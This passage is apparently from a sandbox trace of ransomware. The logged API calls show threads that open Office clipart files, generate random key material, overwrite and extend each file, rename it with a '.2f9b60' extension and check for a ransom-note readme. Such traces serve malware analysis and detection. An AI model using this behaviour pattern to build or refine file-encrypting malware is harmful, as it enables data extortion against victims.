_Dest="3d") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="88") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="49") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="41") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="4b") returned 2 [0124.620] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="85") returned 2 [0124.620] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="0c") returned 2 [0124.620] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="29") returned 2 [0124.620] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="cf") returned 2 [0124.620] RtlInitAnsiString (in: DestinationString=0x21eefaa8, SourceString="1ed70b72ca01b655fa42705eecd7183d8849414b850c29cf" | out: DestinationString="1ed70b72ca01b655fa42705eecd7183d8849414b850c29cf") [0124.620] RtlAnsiStringToUnicodeString (in: DestinationString=0x21eefa78, SourceString="1ed70b72ca01b655fa42705eecd7183d8849414b850c29cf", AllocateDestinationString=1 | out: DestinationString="1ed70b72ca01b655fa42705eecd7183d8849414b850c29cf") returned 0x0 [0124.620] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863ea0 [0124.621] wcscat (in: _Dest=0x2027a0b0, _Source="1ed70b72ca01" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01" [0124.621] wcscat (in: _Dest=0x2027a0b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01.2f9b60" [0124.621] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01.2f9b60", NtPathName=0x21eefa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1ed70b72ca01.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107180 [0124.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0124.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0124.727] NtQueryInformationFile (in: FileHandle=0xfc4, IoStatusBlock=0x21eefab8, FileInformation=0x21eefac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21eefab8, FileInformation=0x21eefac8) returned 0x0 [0124.727] NtSetInformationFile (FileHandle=0xfc4, IoStatusBlock=0x21eefab8, FileInformation=0x21eefac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a0b0) returned 1 [0124.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ea0) returned 1 [0124.728] FlushFileBuffers (hFile=0xfc4) returned 1 [0124.734] CloseHandle (hObject=0xfc4) returned 1 [0124.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bc30 [0124.735] wcscpy (in: _Dest=0x2027bc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.735] wcscat (in: _Dest=0x2027bc30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bc30) returned 1 [0124.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b760) returned 1 Thread: id = 1558 os_tid = 0x1aac [0121.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x20 [0122.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF", dwFileAttributes=0x20) returned 1 [0122.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1030 [0122.499] GetFileSizeEx (in: hFile=0x1030, lpFileSize=0x214bf7a0 | out: lpFileSize=0x214bf7a0*=3896) returned 1 [0122.499] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0xf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.499] ReadFile (in: hFile=0x1030, lpBuffer=0x214bf720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x214bf768, lpOverlapped=0x0 | out: lpBuffer=0x214bf720*, lpNumberOfBytesRead=0x214bf768*=0x4, lpOverlapped=0x0) returned 1 [0122.538] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.538] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0122.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050de40 [0122.539] NtQuerySystemTime (in: CurrentTime=0x214bf660 | out: CurrentTime=0x214bf660*=132462177279274000) returned 0x0 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x5492a931 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x67785793 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x67e69c84 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x6b8941ca [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x3abf4118 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x204fcd0c [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x3c606fa4 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0xf34b72f [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x1431f0c0 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x15cc392c [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x15b38f80 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x44345128 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x77a3faa8 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x2115d8ab [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x4f3ef601 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x38d97298 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x1fd0c107 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x1e688459 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x22b90e6a [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x6c380c65 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x2ecd0061 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x1be521a0 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x613eda31 [0122.539] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x6d2116fd [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x3a98f3dd [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x6c85be2d [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x1125292a [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x5484720d [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0xefcfc4b [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x16b970d9 [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x70595f80 [0122.540] RtlRandomEx (in: Seed=0x214bf650 | out: Seed=0x214bf650) returned 0x21dcd5d7 [0122.546] ReadFile (in: hFile=0x1030, lpBuffer=0x2048a6d0, nNumberOfBytesToRead=0xf38, lpNumberOfBytesRead=0x214bf650, lpOverlapped=0x0 | out: lpBuffer=0x2048a6d0*, lpNumberOfBytesRead=0x214bf650*=0xf38, lpOverlapped=0x0) returned 1 [0122.546] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.547] WriteFile (in: hFile=0x1030, lpBuffer=0x204a0f30*, nNumberOfBytesToWrite=0xf38, lpNumberOfBytesWritten=0x214bf654, lpOverlapped=0x0 | out: lpBuffer=0x204a0f30*, lpNumberOfBytesWritten=0x214bf654*=0xf38, lpOverlapped=0x0) returned 1 [0122.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f040 [0122.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f070 [0122.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f070) returned 1 [0122.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204a0f30) returned 1 [0122.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2048a6d0) returned 1 [0122.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee90) returned 1 [0122.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc70) returned 1 [0122.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f070 [0122.833] SetFilePointerEx (in: hFile=0x1030, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.833] WriteFile (in: hFile=0x1030, lpBuffer=0x204ff9f0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x214bf770, lpOverlapped=0x0 | out: lpBuffer=0x204ff9f0*, lpNumberOfBytesWritten=0x214bf770*=0x10a, lpOverlapped=0x0) returned 1 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dfc0 [0123.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050dfc0) returned 1 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050dfc0 [0123.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df90 [0123.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df90) returned 1 [0123.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.057] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="e9") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="3d") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="e0") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="b1") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="c0") returned 2 [0123.057] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="f2") returned 2 [0123.057] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="af") returned 2 [0123.057] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="5f") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="55") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="07") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="74") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="e7") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="f6") returned 2 [0123.057] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="ad") returned 2 [0123.057] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="e5") returned 2 [0123.057] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="47") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="77") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="06") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="5e") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.057] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="3d") returned 2 [0123.058] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="15") returned 2 [0123.058] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="22") returned 2 [0123.058] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="31") returned 2 [0123.058] RtlInitAnsiString (in: DestinationString=0x214bf7e8, SourceString="e93de0b1c0f2af5f550774e7f6ade54777065ea53d152231" | out: DestinationString="e93de0b1c0f2af5f550774e7f6ade54777065ea53d152231") [0123.058] RtlAnsiStringToUnicodeString (in: DestinationString=0x214bf7b8, SourceString="e93de0b1c0f2af5f550774e7f6ade54777065ea53d152231", AllocateDestinationString=1 | out: DestinationString="e93de0b1c0f2af5f550774e7f6ade54777065ea53d152231") returned 0x0 [0123.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9550 [0123.058] wcscat (in: _Dest=0x202b1eb0, _Source="e93de0b1c0f2" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2" [0123.058] wcscat (in: _Dest=0x202b1eb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60" [0123.058] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60", NtPathName=0x214bf790, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107240 [0123.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0123.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202918c0) returned 1 [0123.396] NtQueryInformationFile (in: FileHandle=0x1030, IoStatusBlock=0x214bf7f8, FileInformation=0x214bf808, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x214bf7f8, FileInformation=0x214bf808) returned 0x0 [0123.396] NtSetInformationFile (FileHandle=0x1030, IoStatusBlock=0x214bf7f8, FileInformation=0x214bf808, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1eb0) returned 1 [0123.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0123.403] FlushFileBuffers (hFile=0x1030) returned 1 [0123.408] CloseHandle (hObject=0x1030) returned 1 [0123.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1d70 [0123.411] wcscpy (in: _Dest=0x202b1d70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0123.411] wcscat (in: _Dest=0x202b1d70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0123.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0123.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1d70) returned 1 [0123.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ca80) returned 1 Thread: id = 1559 os_tid = 0x1ab0 [0125.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0125.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF", dwFileAttributes=0x20) returned 1 [0125.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0125.104] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x219af6c0 | out: lpFileSize=0x219af6c0*=3796) returned 1 [0125.104] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0xed0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.104] ReadFile (in: hFile=0x1038, lpBuffer=0x219af640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x219af688, lpOverlapped=0x0 | out: lpBuffer=0x219af640*, lpNumberOfBytesRead=0x219af688*=0x4, lpOverlapped=0x0) returned 1 [0125.106] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7f0 [0125.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab790 [0125.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0125.106] NtQuerySystemTime (in: CurrentTime=0x219af580 | out: CurrentTime=0x219af580*=132462177304702000) returned 0x0 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x4b52b063 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x313c4076 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x43ec2244 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x46d72136 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x5af53d0c [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x1c3a447e [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x182f0d5f [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x3bd0bd4c [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x6dea0e6b [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0xc3d5b4c [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x5940009a [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x65631278 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x485e68a2 [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x182af66a [0125.106] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x1cbab3a [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x29879f43 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x776c7ceb [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x584bb02 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0xa024805 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x6d665e42 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x7d2356d7 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x74011ab6 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x2bb0c0e3 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x6eb08bde [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x4dfa9ee [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x5165d379 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x37962a18 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x55a1507c [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x57ec1ee7 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x712d8818 [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x1ef77e9b [0125.107] RtlRandomEx (in: Seed=0x219af570 | out: Seed=0x219af570) returned 0x177c71bb [0125.114] ReadFile (in: hFile=0x1038, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x219af570, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x219af570*=0xed4, lpOverlapped=0x0) returned 1 [0125.115] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.115] WriteFile (in: hFile=0x1038, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0xed4, lpNumberOfBytesWritten=0x219af574, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x219af574*=0xed4, lpOverlapped=0x0) returned 1 [0125.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab7f0 [0125.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ac030 [0125.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac030) returned 1 [0125.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.116] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202ac030 [0125.117] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.117] WriteFile (in: hFile=0x1038, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x219af690, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x219af690*=0x10a, lpOverlapped=0x0) returned 1 [0125.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab9a0 [0125.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab9a0) returned 1 [0125.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab9a0 [0125.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab910 [0125.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab910) returned 1 [0125.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.119] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.119] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="83") returned 2 [0125.119] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d4") returned 2 [0125.119] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="9b") returned 2 [0125.119] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="9a") returned 2 [0125.119] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="0a") returned 2 [0125.119] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="fb") returned 2 [0125.119] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="6c") returned 2 [0125.119] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="bc") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="af") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="38") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="07") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="27") returned 2 [0125.120] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="aa") returned 2 